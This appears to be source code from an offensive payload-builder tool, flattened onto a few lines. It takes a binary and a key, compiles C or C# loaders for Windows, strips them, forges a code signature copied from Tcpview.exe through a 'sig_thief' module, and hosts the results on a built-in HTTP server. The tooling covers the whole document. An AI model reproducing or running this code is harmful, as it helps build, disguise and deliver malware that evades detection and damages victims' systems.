def do(cmd): if 'list' in cmd: get_hosted_files() if 'config' in cmd: logger.msg(f'Server is currently configured to: ',f'{args.server_address}:{args.server_port}','blue') if 'generate' in cmd: if cmd.startswith('generate '): cmd = cmd.split(' ')[1:] generate_command(cmd) if 'read' in cmd: if cmd.startswith('read '): cmd = cmd.split(' ')[1] read_file(cmd) if 'add' in cmd: if cmd.startswith('add '): cmd = cmd.split(' ')[1] add_file(cmd) if 'delete' in cmd: if cmd.startswith('delete '): cmd = cmd.split(' ')[1] delete_file(cmd) if 'exit' in cmd: logger.msg('CTRL+C to kill the server!',None,'red') quit()
def add_file(cmd): from_location = cmd to_location = args.directory try: copy(from_location,to_location) logger.msg(f'Copied {from_location} to ', to_location,'green') return 0 except Exception as e: logger.msg('Error: ',e,'red') return 1
def get_hosted_files(): hosted_path = './' url = f'http://{args.server_address}:{args.server_port}/' if not os.path.exists(hosted_path): logger.msg('Creating directory: ',hosted_path,'blue') os.mkdir(hosted_path) else: files = os.listdir(hosted_path) logger.list_dir(url,files) print()
def delete_file(cmd): if args.directory.endswith('/'): file_to_delete = args.directory + cmd else: file_to_delete = args.directory + '/' + cmd try: os.remove(file_to_delete) logger.msg(f'Deleted ', file_to_delete,'green') return 0 except Exception as e: logger.msg('Error: ',e,'red') return 1
def read_file(cmd): if args.directory.endswith('/'): file_to_read = args.directory + cmd else: file_to_read = args.directory + '/' + cmd try: with open(file_to_read,'r') as f: logger.msg('Contents of ',file_to_read+':','green') print(f.read()) except UnicodeDecodeError as e: logger.msg('Unable to read ',file_to_read,'red') return 1
def compile(self): compiler_command = '' if self.lang == 'cs': compiler_command = 'mcs /platform:%s /unsafe %s /out:%s' % ( self.arch, self.outfile_cs, self.outfile_net_exe) elif self.lang == 'c': if self.arch == 'x86': compiler_command = 'i686-w64-mingw32-gcc %s -o %s' % ( self.outfile_c, self.outfile_exe) elif self.arch == 'x64': compiler_command = 'x86_64-w64-mingw32-gcc %s -o %s' % ( self.outfile_c, self.outfile_exe) else: return False logger.msg('Compiling with: ', compiler_command, 'blue') if os.system(compiler_command) == 0: if os.path.exists(self.outfile_exe): logger.msg('Compiled: ', self.outfile_exe, 'green') return True else: logger.msg('Failed to compile: ', self.outfile_exe, 'red') return False else: logger.msg('Failed to compile: ', self.outfile_exe, 'red') return False
def start_server(): web_dir = args.directory os.chdir(web_dir) host = args.server_address port = args.server_port Handler = MyHTTPHandler httpd = socketserver.TCPServer((host, port), Handler) try: logger.msg('Listening @ ', f'http://{host}:{port}', 'green') httpd.serve_forever() quit() except KeyboardInterrupt: httpd.server_close() quit() finally: httpd.server_close() quit()
lang = args.language if args.x64: arch = 'x64' else: arch = 'x86' key = args.key strip = args.strip sign = args.sign name = args.name try: file_bytes = open(args.binary, "rb").read() except Exception as e: logger.msg('Error opening file: ', e, 'red') quit() if not os.path.exists('./result/'): os.makedirs('./result') prereqs = ['i686-w64-mingw32-gcc', 'x86_64-w64-mingw32-gcc', 'mcs'] for p in prereqs: r = os.system(p + ' > /dev/null 2>&1') if r != 256: logger.msg('Missing requirement: ', p, 'red') quit() scx = core.Scx(lang, arch, key, file_bytes, name)
def sign(self): if sig_thief.signfile(self.outfile_exe, './lib/sig/Tcpview.exe_sig', self.outfile_signed_exe): logger.msg('Signed: ', self.outfile_signed_exe, 'green') else: logger.msg('Failed to sign: ', self.outfile_signed_exe, 'red')
def strip(self): if os.system('strip -s %s' % (self.outfile_exe)) == 0: logger.msg('Stripped: ', self.outfile_exe, 'green') else: logger.msg('Failed to strip: ', self.outfile_exe, 'red')